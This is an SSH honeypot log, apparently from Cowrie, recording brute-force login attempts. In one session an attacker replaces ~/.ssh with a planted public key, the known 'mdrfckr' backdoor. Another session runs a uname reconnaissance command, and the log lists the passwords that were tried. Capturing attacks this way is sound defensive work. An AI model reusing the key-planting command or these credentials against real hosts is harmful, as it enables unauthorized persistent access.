{"eventid":"cowrie.session.connect","src_ip":"198.98.62.211","src_port":53514,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb19c035cf18","protocol":"ssh","message":"New connection: 198.98.62.211:53514 (10.17.0.5:22) [session: cb19c035cf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.084342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.088191Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.092011Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"13241324","message":"login attempt [root/13241324] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.141653Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.178971Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.181701Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.184737Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.191911Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.275362Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.277747Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.286428Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.289198Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.62.211","src_port":53524,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb4406bb205","protocol":"ssh","message":"New connection: 198.98.62.211:53524 (10.17.0.5:22) [session: 4bb4406bb205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.293746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.297267Z","src_ip":"198.98.62.211","session":"4bb4406bb205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.301638Z","src_ip":"198.98.62.211","session":"4bb4406bb205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:55.352867Z","src_ip":"198.98.62.211","session":"4bb4406bb205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:56.360088Z","src_ip":"198.98.62.211","session":"4bb4406bb205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.62.211","src_port":53540,"dst_ip":"10.17.0.5","dst_port":22,"session":"435a70e86934","protocol":"ssh","message":"New connection: 198.98.62.211:53540 (10.17.0.5:22) [session: 435a70e86934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:56.364622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:56.368608Z","src_ip":"198.98.62.211","session":"435a70e86934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:56.373073Z","src_ip":"198.98.62.211","session":"435a70e86934","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:56.426058Z","src_ip":"198.98.62.211","session":"435a70e86934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:56.433655Z","src_ip":"198.98.62.211","session":"cb19c035cf18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:56.437977Z","src_ip":"198.98.62.211","session":"435a70e86934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":55804,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9224be5a709","protocol":"ssh","message":"New connection: 51.183.250.100:55804 (10.17.0.5:22) [session: c9224be5a709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:00.169101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:00.173911Z","src_ip":"51.183.250.100","session":"c9224be5a709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:00.260894Z","src_ip":"51.183.250.100","session":"c9224be5a709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abdullah","password":"abdullah","message":"login attempt [abdullah/abdullah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:00.641721Z","src_ip":"51.183.250.100","session":"c9224be5a709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:01.733864Z","src_ip":"51.183.250.100","session":"c9224be5a709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34084,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c50088e9a0","protocol":"ssh","message":"New connection: 92.118.39.92:34084 (159.203.135.109:22) [session: 80c50088e9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:15.823155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:15.827614Z","src_ip":"92.118.39.92","session":"80c50088e9a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:15.928015Z","src_ip":"92.118.39.92","session":"80c50088e9a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e","message":"login attempt [root/1q2w3e] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:16.228794Z","src_ip":"92.118.39.92","session":"80c50088e9a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:16.517921Z","src_ip":"92.118.39.92","session":"80c50088e9a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:16.520869Z","src_ip":"92.118.39.92","session":"80c50088e9a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:16.624527Z","src_ip":"92.118.39.92","session":"80c50088e9a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:16.629688Z","src_ip":"92.118.39.92","session":"80c50088e9a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":39486,"dst_ip":"10.17.0.5","dst_port":22,"session":"0585ed38a4d2","protocol":"ssh","message":"New connection: 116.71.136.125:39486 (10.17.0.5:22) [session: 0585ed38a4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:28.567410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:28.572816Z","src_ip":"116.71.136.125","session":"0585ed38a4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:28.782784Z","src_ip":"116.71.136.125","session":"0585ed38a4d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lima","password":"12345678","message":"login attempt [lima/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:29.652127Z","src_ip":"116.71.136.125","session":"0585ed38a4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:45:30.863550Z","src_ip":"116.71.136.125","session":"0585ed38a4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":33380,"dst_ip":"10.17.0.5","dst_port":22,"session":"838ca8900c35","protocol":"ssh","message":"New connection: 103.82.92.202:33380 (10.17.0.5:22) [session: 838ca8900c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:07.992268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:07.997498Z","src_ip":"103.82.92.202","session":"838ca8900c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:08.239053Z","src_ip":"103.82.92.202","session":"838ca8900c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"12345678","message":"login attempt [reza/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:46:09.224243Z","src_ip":"103.82.92.202","session":"838ca8900c35","protocol":"ssh"}
